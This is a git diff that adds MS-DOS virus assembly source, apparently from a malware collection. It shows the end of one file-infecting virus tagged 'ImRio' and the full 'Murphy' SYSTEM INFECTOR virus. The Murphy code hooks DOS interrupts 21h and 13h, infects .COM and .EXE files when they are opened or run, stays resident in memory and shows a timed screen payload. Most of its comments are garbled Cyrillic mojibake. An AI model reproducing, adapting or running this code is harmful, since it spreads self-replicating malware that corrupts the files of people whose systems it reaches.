+searchein db '*.com',00h + +write_us: call write_em ; write to file + call bx_ds + mov cx,lengthovir ; our viruscode + lea dx,(mejntwo+si) + int 21h + ret + +handle dw 0h + +close_em: mov ah,3eh ; close file + call bx_ds + int 21h + ret + +origindir db 64 dup (0) ; buffer where we save our original dir. + +change_dir: mov ah,3bh ; change dir + ret + +root_dir: lea dx,(rootdiroz+si) ; when changing to the 'root' + int 21h + ret + +find_first: + mov ah,4eh ; find first file + jmp int_em + +restore_two: + mov ds:[0100h],ax ; restore old first + mov ds:[0102h],cx ; 2/2 + ret +int_em: + int 21h + ret + +buffa db 60h dup (0) + +xchg_it: xchg si,ax + ret + +buffatwo db 60h dup (0) + +find_next: + mov ah,4fh ; find next file + jmp int_em + +firsties db 5 dup (?) ; Buffer for the first five org. bytes + +bx_ds: + mov bx,ds:[handle+si] + ret + +write_em: mov ah,40h ; Write to file + ret + +cx_em: mov cx,05h + ret + +diroz dw 0h + +cx_three: mov cx,3 + ret + +cx_four: mov cx,4 + ret + +restore_one: mov ax,word ptr ds:[oldstart+si] ; restore old first + mov cx,word ptr ds:[oldstart+si+2] ; 1/2 + ret + +tag db 'ImRio' ; My lil' DIGITAL GRAFITTI + +rootoz db '\' ; when changing to root + +cxequals equ 0ffffh +dxequals equ 0fffbh + +code ends + end start_o_virus diff --git a/MSDOS/Virus.MSDOS.Unknown.murphexe.asm b/MSDOS/Virus.MSDOS.Unknown.murphexe.asm new file mode 100644 index 00000000..4928f609 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.murphexe.asm @@ -0,0 +1,820 @@ +; +; dynamic self loader +; +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; +; SYSTEM INFECTOR +; +; +; Version 4.00 - Copywrite (c) 1989 by L.Mateew & Jany Brankow +; +; All rights reserved. +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + + page ,132 + + title SYSTEM INFECTOR + +comp13 = offset kt1 - offset org13 +comp21 = offset kt1 - offset new21 +compbuff = offset kt1 - offset buffer +compbuff1 = offset kt1 - offset buffer1 +comp_code = offset kt1 - offset my_code +vir_length = offset endpr - offset entry_point +Cred = offset virus - offset credits + + +code segment ; ­ © - ¢ ¦­¨¿ ±¥£¬¥­² !!! + + assume cs:code ; ¨­¨¶¨ «¨§¨° ­¥ ­  CS + + org 100h ; ­ · «¥­  ¤°¥± ­  ¯°®£° ¬ ²  + +entry_point: ; ¢µ®¤­  ²®·ª  + jmp point1 ; ±ª®ª ¢ ¯°®£° ¬ ²  §  ³±² ­®¢¿¢ ­¥ ­  ¢¨°³±  + +buffer db 18h dup (0c3h) ; ·¥²¨°¨ ¯® RET +buffer1 db 4 dup (0c3h) ; ²°¨ ¯® RET +my_code dw ? +time dw ? +date dw ? +old_len dd ? +new21 dd ? ; ¬¿±²® §  ­®¢¨¿ ¢¥ª²®° +old24 dd ? +org13 dd ? +old13 dd ? + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; +; ‡  ­¥§ ª®­­® ª®¯¨° ­¥ ¹¥ ®²¨¤¥²¥ ¢ § ²¢®°  ! +; +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +credits: + db ' It''s me - Murphy. ' + db ' Copywrite (c)1990 by Lubo &' + db ' Ian, Sofia, USM Laboratory. ' + +virus proc near ; + call time_kill ; ¯°®¢¥°ª  §  ¤ ²  ¨ · ± + cmp ax,4b00h+'M' ; „Ž‘ ´³­ª¶¨¿ EXEC ? + jnz @05 + push bp + mov bp,sp + and word ptr [bp+6],0fffeh + pop bp + iret +@05: + cmp ah,4bh ; „Ž‘ ´³­ª¶¨¿ EXEC ? + jz p0 + cmp ax,3d00h ; „Ž‘ ´³­ª¶¨¿ OPEN ? + jz p0 ; ¤  ! + cmp ax,6c00h ; ¯°®¢¥°ª  §  DOS Fn 6C + jnz @04 ; ¨¬  ¨ ¤°³£ ­ ·¨­ + cmp bl,0 ; ­®°¬ «­® ®²¢ °¿­¥ + jz p0 ; § ° §¿¢ ­¥ +@04: + jmp do_not_bite ; ­¥ - ¯°¥µ®¤ ªº¬ ±² °¨¿ ¢¥ª²®° +p0: ; + push es ; § ¯ §¢ ­¥ ­  ES , + push ds ; DS , + push di ; DI , + push si ; SI , + push bp ; BP , + push dx ; DX , + push cx ; CX , + push bx ; BX , + push ax ; ¨ AX + call ints_on + call ints_off + cmp ax,6c00h ; ¯°®¢¥°ª  §  OPEN + jnz kt6 ; ¯°¥±ª · ­¥ + mov dx,si ; ¡¥§ ¤³¬¨ +kt6: + mov cx,80h ; ¬ ª±¨¬ «­  ¤º«¦¨­  ­  ´ ©«®¢ ²  + mov si,dx ; ±¯¥¶¨´¨ª ¶¨¿ +while_null: ; + inc si ; ¯®«³· ¢ ­¥ ­  + mov al,byte ptr ds:[si] ; ´ ©«®¢ ²  + or al,al ; ±¯¥¶¨´¨ª ¶¨¿ + loopne while_null ; ª° © ­  ASCIIZ ? + sub si,02h ; 2 ±¨¬¢®«  ­ § ¤ + cmp word ptr ds:[si],'MO' ; ¯°®¢¥°ª  §  .COM - ´ ©« + jz @03 + cmp word ptr ds:[si],'EX' + jz @06 +go_away: + jmp @01 ; ¦ «ª® -> no_ill_it +@06: + cmp word ptr ds:[si-2],'E.' ; + jz go_forward ; + jmp short go_away +@03: + cmp word ptr ds:[si-2],'C.' ; ®¹¥ ­¨¹® ­¥ ¥ § £³¡¥­®... + jnz go_away ; .COM ´ ©« +go_forward: ; + mov ax,3d02h ; „Ž‘ ´³­ª¶¨¿ 3d /®²¢ °¿­¥ ­  ´ ©«/ - °¥¦¨¬ ­  ¤®±²º¯ 010b - ·¥²¥­¥ ¨ § ¯¨± + call int_21 ; ¢°º¹  ´ ©«®¢¨¿ ¬ ­¨¯³« ²®° ¢ AX  ª® CF = 0 + jc @01 ; + mov bx,ax ; § ¯ §¢ ­¥ ­  ´ ©«®¢¨¿ ¬ ­¨¯³« ²®° ¢ BX + mov ax,5700h ; + call int_21 ; + mov cs:[time],cx ; + mov cs:[date],dx ; + mov ax,4200h ; „Ž‘ ´³­ª¶¨¿ 42 + xor cx,cx ; ­³«¨° ­¥ ­  CX + xor dx,dx ; ³±² ­®¢¿¢ ­¥ ­  ³ª § ²¥«¿ ¢ ­ · «®²® ­  ´ ©«  + call int_21 ; INT 21 + push cs ; ³±² ­®¢¿¢ ­¥ + pop ds ; DS := CS + mov dx,offset buffer ; ¨§·¨±«¿¢ ­¥ ­   ¤°¥±  ­  buffer + mov si,dx + mov cx,0018h ; ¸¥±² ¡ ©²  + mov ah,3fh ; „Ž‘ ´³­ª¶¨¿ 3FH /·¥²¥­¥ ®² ´ ©«/ + call int_21 ; ¯°®·¨² ­¥ ­  ¯º°¢¨²¥ 8 ¡ ©²  ¢ buffer + jc close_file + cmp word ptr ds:[si],'ZM' + jnz @07 + call exe_file + jmp short close_file +@07: + call com_file +close_file: + jc skip_restore_date + mov ax,5701h + mov cx,cs:[time] + mov dx,cs:[date] + call int_21 +skip_restore_date: + mov ah,3eh ; „Ž‘ ´³­ª¶¨¿ 3E - § ²¢ °¿­¥ ­  ´ ©« + call int_21 ; INT 21 +@01: + call ints_off + pop ax ; ¢º§±² ­®¢¿¢ ­¥ ­  AX , + pop bx ; BX , + pop cx ; CX , + pop dx ; DX , + pop bp ; BP , + pop si ; SI , + pop di ; DI , + pop ds ; DS , + pop es ; ES +do_not_bite: + jmp dword ptr cs:[new21] ; ¯°¥µ®¤ ªº¬ ±² °¨¿ ¢¥ª²®° +virus endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; +; Subroutine for .EXE file +; +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß + +exe_file proc near + mov cx,word ptr ds:[si+16h] ; § °¥¦¤ ­¥ ­  ®²¬¥±²¢ ­¥²® ­  CS ¡ ¯ ° £° ´¨ + add cx,word ptr ds:[si+08h] ; ±º¡¨° ­¥ ­  ¯°¥´¨ª±  (¢ ¯ ° £° ´¨) ± ­¥£® + mov ax,10h + mul cx ; ³¬­®¦ ¢ ¬¥ £¨ ± 10h ¨ ¯®«³· ¢ ¬¥ + add ax,word ptr ds:[si+14h] ;  ¡±®«¾²­®²® ®²¬¥±²¢ ­¥ ­  + adc dx,0 ; ¢µ®¤­ ²  ²®·ª  ª ²® ±º¡¨° ¬¥ ¨ IP + push dx ; § ¯ §¢ ¬¥ £¨ ¢ ±²¥ª  §  ¯®-­ ² ²ºª + push ax + mov ax,4202h ; µ¢ ²ª  §  ¯®«³· ¢ ­¥ + xor cx,cx + xor dx,dx ; ­  ¤º«¦¨­ ²  ­  + call int_21 ; ´ ©«  ¢ DX:AX + cmp dx,0 + jnz go_out ; ¯°®¢¥°ª  §  ¤º«¦¨­ ²  ­  + cmp ax,vir_length ; ´ ©«  µ °¥± ­ ®² ¢¨°³±  + jnb go_out ;  ª® ¥ ¢¥·¥ µ °¥± ­ ®² ­¥£® - + pop ax ; Go out ! + pop dx + stc + ret +go_out: + mov di,ax ; § ¯ §¢ ­¥ ­  AX ¢ DI + mov bp,dx ; ¨ DX ¢ BP + pop cx ; ¨§¢ ¦¤ ¬¥ ®²¬¥±²¢ ­¥²® ­  + sub ax,cx ; ¢µ®¤­ ²  ²®·ª  ®² ¤º«¦¨­ ²  ­  ´ ©«  + pop cx ; ¨ ¯®«³· ¢ ¬¥ ¤º«¦¨­ ²  ­  + sbb dx,cx ; ¯°®£° ¬ ²  ±«¥¤ ¢µ®¤­ ²  ²®·ª  + cmp word ptr ds:[si+0ch],00h; ¯°®¢¥°ª  §  ®¯¶¨¿ + je exitp ; /HIGH + cmp dx,0 ; ±° ¢­¿¢ ¬¥ £¨ ± ¤º«¦¨­ ²  ­  ¢¨°³±  + jne ill_it ; ¨  ª® ­  ±  ° ¢­¨ «¥¯¢ ¬¥ £® ² ¬ ¨ + cmp ax,vir_length ; ².­. . . . + jne ill_it + stc + ret +ill_it: + mov dx,bp ; ¯°®·¨² ¬¥ ¤º«¦¨­ ²  ­  + mov ax,di ; ­  ¯°®£° ¬ ²  + push dx ; push ¢ ¬¥ £¨ + push ax ; §  ¯®-­ ² ²ºª + add ax,vir_length ; ±º¡¨° ¬¥ ¿ ± + adc dx,0 ; ¤º«¦¨­ ²  ­  Murphy + mov cx,512 ; ¤¥«¨¬ ¿ ­  512 ¡ ©²  + div cx + les di,dword ptr ds:[si+02h]; § °¥¦¤ ­¥ ­  ±² ° ²  ¤º«¦¨­  + mov word ptr cs:[old_len],di; § ¯ §¢ ­¥ ¢ ²¿«®²® + mov word ptr cs:[old_len+2],es;§ ¯ §¢ ­¥ ¢ ²¿«®²® + mov word ptr ds:[si+02h],dx ; ¨ ¿ § ¯¨±¢ ¬¥ + cmp dx,0 + jz skip_increment + inc ax +skip_increment: + mov word ptr ds:[si+04h],ax ; ¢ ¡³´¥°  + pop ax ; ·¥²¥¬ ¤º«¦¨­ ²  ­  ´ ©«  + pop dx ; ®² ±²¥ª  + call div10h ; ¤¥«¨¬ ¿ ­  10h ¨ ¿ ¯®«³· ¢ ¬¥ ¢ AX:DX + sub ax,word ptr ds:[si+08h] ; ¨§¢ ¦¤ ¬¥ ¯°¥´¨ª±  + les di,dword ptr ds:[si+14h]; ¯°®·¨² ­¥ ­  ±² °¨²¥ + mov word ptr ds:[buffer1],di; CS:IP ¨ § ¯¨± + mov word ptr ds:[buffer1+02h],es ; ¢ ²¿«®²® + mov word ptr ds:[si+14h],dx ; § ¯¨± ­  ­®¢¨¿ IP ¢ ¡³´¥°  + mov word ptr ds:[si+16h],ax ; § ¯¨± ­  ­®¢¨¿ CS ¢ ¡³´¥°  + mov word ptr ds:[my_code],ax; § ¯¨± ­  ­®¢¨¿ CS ¢º¢ ²¿«®²® + mov ax,4202h + xor cx,cx + xor dx,dx + call int_21 + call paste + jc exitp + mov ax,4200h + xor cx,cx + xor dx,dx + call int_21 + mov ah,40h + mov dx,si + mov cx,18h + call int_21 +exitp: + ret + +exe_file endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; +; Subroutine for dividing +; +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +div10h proc near + mov cx,04h + mov di,ax + and di,000fh +dividing: + shr dx,1 + rcr ax,1 + loop dividing + mov dx,di + ret +div10h endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; +; Subroutine for virus moving +; +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß + +paste proc near + mov ah,40h ; „Ž‘ ´³­ª¶¨¿ 40h /§ ¯¨± ¢º¢ ´ ©« ¨«¨ ³±²°®©±²¢®/ + mov cx,vir_length ; ¨§·¨±«¿¢ ­¥ ¤º«¦¨­ ²  ­  ¢¨°³±  + mov dx,offset entry_point ; DS:DX ²°¿¡¢  ¤  ±®· ²  ¤°¥±  ­  § ¯¨±  + call ints_on ; § ®¡¨ª «¿­¥ ­  · ±®¢­¨ª  (R/W) + jmp int_21 ; § ¯¨± ¢º¢ ´ ©«  +paste endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; +; Subroutine for .COM file +; +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß + +com_file proc near + + mov ax,4202h ; „Ž‘ ´³­ª¶¨¿ 42 /¯°¥¬¥±²¢ ­¥ ­  ²¥ª³¹¨¿ ³ª § ²¥« ¢º¢ ´ ¨«  /AL=2 - ¢ ª° ¿/ + xor cx,cx ; ³±² ­®¢¿¢ ­¥ ­  °¥£¨±²°¨²¥ + xor dx,dx ; CX ¨ DX / ª® CX:DX = 0 , ¢ DX:AX ±¥ ¯®«³· ¢  ¤º«¦¨­ ²  ­  ´ ©« / + call int_21 ; ³±² ­®¢¿¢ ­¥ ¢ ª° ¿ ­  ´ ©«  + cmp ax,vir_length ; ±° ¢­¿¢ ­¥ ­  ¤º«¦¨­ ²  ­  ¢¨°³±  + jb short no_ill_it ; ± ¯°®£° ¬ ²  ¨ ¯°¥µ®¤ ¢ ª° ¿  ª® + cmp ax,64000 ; ¤º«¦¨­ ²  ­  ¯°®£° ¬ ²  ¥ < ¤º«¦. ­  + jnb short no_ill_it ; ¢¨°³±  ¨«¨ > 0ffff-¤º«¦. ­  ¢¨°³±  - 20h + push ax ; ±ºµ° ­¿¢ ­¥ ­  AX + cmp byte ptr ds:[si],0E9h ; ¯°®¢¥°ª  §  JMP ¢ ­ · «®²® ­  ¯°®£° ¬ ²  + jnz illing ; ¥? - Œ¥°±¨! ’®£ ¢  § ° §¿¢ ¬¥. + sub ax,vir_length + 3 ; ¯®«³· ¢ ­¥ ­  ¤º«¦¨­ ²  ­  ¯°®£° ¬ ²  ¡¥§ ¢¨°³±  /¥¢¥­²³ «­®/ + cmp ax,ds:[si+1] ; ¯°®¢¥°ª  §  ¯°®£° ¬ ²  § «¥¯¥­  ¢ ª° ¿ + jnz illing ; ¥? ... + pop ax ; ®±¢®¡®¦¤ ¢ ­¥ ­  ±²¥ª  + stc + ret +illing: + call paste + jnc skip_paste + pop ax + ret +skip_paste: + mov ax,4200h ; „Ž‘ ´³­ª¶¨¿ 42 + xor cx,cx ; ­³«¨° ­¥ ­  CX + xor dx,dx ; ³±² ­®¢¿¢ ­¥ ­  ³ª § ²¥«¿ ¢ ­ · «®²® ­  ´ ©«  + call int_21 ; ¨§¯º«­¥­¨¥ ­  ´³­ª¶¨¿²  + pop ax ; ·¥²¥­¥ ­  AX + sub ax,03h ; ¨§·¨±«¿¢ ­¥ ­  ®¯¥° ­¤  ­  JMP-  + mov dx,offset buffer1 ; § ¤ ¢ ­¥ ­   ¤°¥±  ­  § ¯¨±  ¢ DS:DX + mov si,dx + mov byte ptr cs:[si],0e9h ; § ¯¨± ­  09H (JMP) ¢ ­ · «®²® ­  ´ ©«  + mov word ptr cs:[si+1],ax ; ®¯¥° ­¤  ­  JMP-  ¢ ¯®«¥²® §  § ¯¨± + mov ah,40h ; „Ž‘ ´³­ª¶¨¿ 40h /§ ¯¨± ¢º¢ ´ ©« ¨«¨ ³±²°®©±²¢®/ + mov cx,3 ; § ¯¨± ± ¬® ­  3 ¡ ©²  + call int_21 ; ¨§¯º«­¥­¨¥ ­  ´³­ª¶¨¿²  +no_ill_it: + ret + +com_file endp + + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; +; Subroutine for calling of an 'int 21h' +; +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß + +int_21 proc near + pushf + call dword ptr [new21] + ret +int_21 endp + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; +; This subroutine changes the int 24h vector to me +; +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +ints_on proc near + push ax + push ds + push es + xor ax,ax + push ax + pop ds + cli + les ax,dword ptr ds:[24h*4] + mov word ptr cs:[old24],ax + mov word ptr cs:[old24+2],es + mov ax,offset int_24 + mov word ptr ds:[24h*4],ax + mov word ptr ds:[24h*4+2],cs + les ax,dword ptr ds:[13h*4] + mov word ptr cs:[old13],ax + mov word ptr cs:[old13+2],es + les ax,dword ptr cs:[org13] + mov word ptr ds:[13h*4],ax + mov word ptr ds:[13h*4+2],es + sti + pop es + pop ds + pop ax + ret +ints_on endp + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; +; This subroutine restores the int 24h vector +; +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +ints_off proc near + push ax + push ds + push es + xor ax,ax + push ax + pop ds + cli + les ax,dword ptr cs:[old24] + mov word ptr ds:[24h*4],ax + mov word ptr ds:[24h*4+2],es + les ax,dword ptr cs:[old13] + mov word ptr ds:[13h*4],ax + mov word ptr ds:[13h*4+2],es + sti + pop es + pop ds + pop ax + ret +ints_off endp + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; +; This subroutine works the int 24h +; +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +int_24 proc far + mov al,3 + iret +int_24 endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; +; Œ ©² ¯ ± ¡¥§§ ¹¨²­¨²¥ µ®°¨¶  +; +; +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß + +joke proc far + push ax ; § ¯ §¢ ­¥ + push bx + push cx ; ­  + push dx + push si + push di + push bp + push ds ; °¥£¨±²°¨²¥ + push es + xor ax,ax + push ax + pop ds + mov bh,ds:[462h] + mov ax,ds:[450h] + mov cs:[old_pos],ax + mov ax,cs:[pos_value] + mov word ptr ds:[450h],ax + mov ax,word ptr cs:[spot_buff] + mov bl,ah + mov ah,09h + mov cx,1 + int 10h + call change_pos + call push_spot + mov ax,cs:pos_value + mov word ptr ds:[450h],ax + mov bl,07h + mov ax,0907h + mov cx,1 + int 10h + mov ax,cs:[old_pos] + mov ds:[450h],ax + pop es + pop ds + pop bp + pop di + pop si + pop dx + pop cx + pop bx + pop ax + jmp dword ptr cs:[old_1ch] + + +spot_buff dw ? +pos_value dw 1010h +direction db 0 +old_1ch dd ? +old_pos dw ? + +change_pos proc near + mov ax,cs:[pos_value] + mov bx,word ptr ds:[44ah] + dec bx + test cs:[direction],00000001b + jz @001 + cmp al,bl + jb @002 + xor cs:[direction],00000001b + jmp short @002 +@001: + cmp al,0 + jg @002 + xor cs:[direction],00000001b +@002: + test cs:[direction],00000010b + jz @003 + cmp ah,24 + jb @005 + xor cs:[direction],00000010b + jmp short @005 +@003: + cmp ah,0 + jg @005 + xor cs:[direction],00000010b +@005: + cmp byte ptr cs:spot_buff,20h + je skip_let + cmp byte ptr cs:[pos_value+1],0 + je skip_let + xor cs:[direction],00000010b +skip_let: + test cs:[direction],00000001b + jz @006 + inc byte ptr cs:[pos_value] + jmp short @007 +@006: + dec byte ptr cs:[pos_value] +@007: + test cs:[direction],00000010b + jz @008 + inc byte ptr cs:[pos_value+1] + jmp short @009 +@008: + dec byte ptr cs:[pos_value+1] +@009: + ret +change_pos endp + +push_spot proc near + mov ax,cs:[pos_value] + mov word ptr ds:[450h],ax + mov bh,ds:[462h] + mov ah,08h + int 10h + mov word ptr cs:[spot_buff],ax + ret +push_spot endp +joke endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; +; Subroutine for check current time +; +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß + +time_kill proc near ; + push ax ; § ¯ §¢ ­¥ + push bx + push cx ; ­  + push dx + push si + push di + push bp + push ds ; °¥£¨±²°¨²¥ + push es + xor ax,ax ; ¯®«³· ¢ ­¥ ­  + push ax + pop ds + cmp word ptr ds:[1Ch*4],offset joke + je next_way + mov ax,ds:[46ch] + mov dx,ds:[46ch+2] + mov cx,0ffffh + div cx + cmp ax,10 + jne next_way + cli + mov bp,word ptr ds:[450h] + call push_spot + mov ds:[450h],bp + les ax,ds:[1ch*4] + mov word ptr cs:[old_1ch],ax + mov word ptr cs:[old_1ch+2],es + mov word ptr ds:[1Ch*4],offset joke + mov word ptr ds:[1Ch*4+2],cs + sti +next_way: + pop es + pop ds + pop bp + pop di + pop si + pop dx + pop cx + pop bx + pop ax + ret +time_kill endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; +; Subroutine for multiplication +; +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß + +sub_10 proc near + mov dx,10h + mul dx ; dx:ax = reg * ax + ret +sub_10 endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; +; ? ? ? ? ? ? ? ? +; +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +zero_regs proc near + + xor ax,ax + xor bx,bx + xor cx,cx + xor dx,dx + xor si,si + xor di,di + xor bp,bp + ret + +zero_regs endp + + +point1: ; + push ds + call kt1 ; ²°¨ª §  +kt1: ; ¨§·¨±«¿¢ ­¥ ­  ®²¬¥±²¢ ­¥²® + mov ax,4b00h + 'M' ; ­  kt1 + int 21h + jc stay + jmp go_to_program ; +stay: ; + pop si ; + push si ; + mov di,si ; + xor ax,ax ; Zero register + push ax ; + pop ds ; + les ax,ds:[13h*4] ; (0000:004C=6E5h) Load 32 bit ptr + mov cs:[si-comp13],ax ; (64BB:06F4=9090h) + mov cs:[si-comp13+2],es ; (64BB:06F6=9090h) + les bx,ds:[21h*4] + mov word ptr cs:[di-comp21],bx ; ®²¬¥±²¢ ­¥ + mov word ptr cs:[di-comp21+2],es ; ±¥£¬¥­² + mov ax,ds:[102h] ; (0000:0102=0F000h) + cmp ax,0F000h + jne loc_14 ; Jump if not equal + mov dl,80h + mov ax,ds:[106h] ; (0000:0106=0C800h) + cmp ax,0F000h + je loc_7 ; Jump if equal + cmp ah,0C8h + jb loc_14 ; Jump if below + cmp ah,0F4h + jae loc_14 ; Jump if above or = + test al,7Fh ; '' + jnz loc_14 ; Jump if not zero + mov ds,ax + cmp word ptr ds:[0],0AA55h ; (C800:0000=0AA55h) + jne loc_14 ; Jump if not equal + mov dl,ds:[02h] ; (C800:0002=10h) +loc_7: + mov ds,ax + xor dh,dh ; Zero register + mov cl,9 + shl dx,cl ; Shift w/zeros fill + mov cx,dx + xor si,si ; Zero register + +locloop_8: + lodsw ; String [si] to ax + cmp ax,0FA80h + jne loc_9 ; Jump if not equal + lodsw ; String [si] to ax + cmp ax,7380h + je loc_10 ; Jump if equal + jnz loc_11 ; Jump if not zero +loc_9: + cmp ax,0C2F6h + jne loc_12 ; Jump if not equal + lodsw ; String [si] to ax + cmp ax,7580h + jne loc_11 ; Jump if not equal +loc_10: + inc si + lodsw ; String [si] to ax + cmp ax,40CDh + je loc_13 ; Jump if equal + sub si,3 +loc_11: + dec si + dec si +loc_12: + dec si + loop locloop_8 ; Loop if cx > 0 + jmp short loc_14 +loc_13: + sub si,7 + mov cs:[di-comp13],si ; (64BB:06F4=9090h) + mov cs:[di-comp13+2],ds ; (64BB:06F6=9090h) +loc_14: + mov ah,62h + int 21h + mov es,bx + mov ah,49h ; 'I' + int 21h ; DOS Services ah=function 49h, + ; release memory block, es=seg + mov bx,0FFFFh + mov ah,48h ; 'H' + int 21h ; DOS Services ah=function 48h, + ; allocate memory, bx=bytes/16 + sub bx,vir_length/10h+2 + jc go_to_program ; Jump if carry Set + mov cx,es + stc ; Set carry flag + adc cx,bx + mov ah,4Ah ; 'J' + int 21h ; DOS Services ah=function 4Ah, + ; change mem allocation, bx=siz + mov bx,vir_length/10h+1 + stc ; Set carry flag + sbb es:[02h],bx ; (FF95:0002=0B8CFh) + push es + mov es,cx + mov ah,4Ah ; 'J' + int 21h ; DOS Services ah=function 4Ah, + ; change mem allocation, bx=siz + mov ax,es + dec ax + mov ds,ax + mov word ptr ds:[01h],08h ; (FEAD:0001=1906h) + call sub_10 + mov bx,ax + mov cx,dx + pop ds + mov ax,ds + call sub_10 + add ax,ds:[06h] ; (FF95:0006=0C08Eh) + adc dx,0 + sub ax,bx + sbb dx,cx + jc allright ; Jump if carry Set + sub ds:[06h],ax ; (FF95:0006=0C08Eh) +allright: + mov si,di ; + xor di,di ; ®²¬¥±²¢ ­¥ ±¯°¿¬® ±¥£¬¥­²  + push cs ; ³±² ­®¢¿¢ ­¥ ­  + pop ds ; °¥£¨±²°¨²¥ + sub si,offset kt1 - offset entry_point ; DS:SI + mov cx,vir_length ; ¨§·¨±«¿¢ ­¥ ° §¬¥°  + inc cx ; ­  ¢¨°³±  + rep movsb ; ¯°¥µ¢º°«¿­¥ ­  ¢¨°³±  + mov ah,62h + int 21h + dec bx + mov ds,bx + mov byte ptr ds:[0],5ah + mov dx,offset virus ; DX - ®²¬¥±²¢ ­¥ ­  ­®¢¨¿ ¢¥ª²®° + xor ax,ax + push ax + pop ds + mov ax,es + sub ax,10h + mov es,ax + cli + mov ds:[21h*4],dx + mov ds:[21h*4+2],es + sti + dec byte ptr ds:[47bh] +go_to_program: ; + pop si ; § °¥¦¤ ­¥ ­  SI ®² ±²¥ª  + cmp word ptr cs:[si-compbuff],'ZM' + jnz com_ret + + +exe_ret proc far + + pop ds + mov ax,word ptr cs:[si-comp_code] + mov bx,word ptr cs:[si-compbuff1+2] + push cs + pop cx + sub cx,ax + add cx,bx + push cx + push word ptr cs:[si-compbuff1] + push ds + pop es + call zero_regs ; ­³«¨° ­¥ ­  °¥£¨±²°¨²¥ + ret + +exe_ret endp + + +com_ret: + pop ax + mov ax,cs:[si-compbuff] ; + mov cs:[100h],ax ; ¢º§±² ­®¢¿¢ ­¥ + mov ax,cs:[si-compbuff+2] ; ®°¨£¨­ «­¨²¥ + mov cs:[102h],ax ; ¨­±²°³ª¶¨¨ + mov ax,100h ; ¯®£®²®¢ª  ­   ¤°¥± CS:100 + push ax ;  ¤°¥± ­  ¢°º¹ ­¥ cs:ax + push cs ; ¢º§±² ­®¢¿¢ ­¥ ­  + pop ds ; DS + push ds ; ¨ + pop es ; ES + call zero_regs ; ­³«¨° ­¥ ­  °¥£¨±²°¨²¥ + ret ; ¯°¥µ®¤ ¢ ­ · «®²® ­  ¯°®£° ¬ ²  +endpr: ; ª° © ­  ¯°®¶¥¤³° ²  + +code ends ; ª° © ­  ¯°®£° ¬ ²  + end entry_point ; ¢µ®¤­  ²®·ª  ¯°¨ ±² °²¨° ­¥ + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; Ÿ­¨ ‹¾¡®¬¨°®¢ ° ­ª®¢ , Œ¨µ ©«®¢£° ¤ ³«."ƒ.„ ¬¿­®¢" 6 +; , ²¥«.2-13-34 +; ‹¾¡®¬¨° Œ ²¥¥¢ Œ 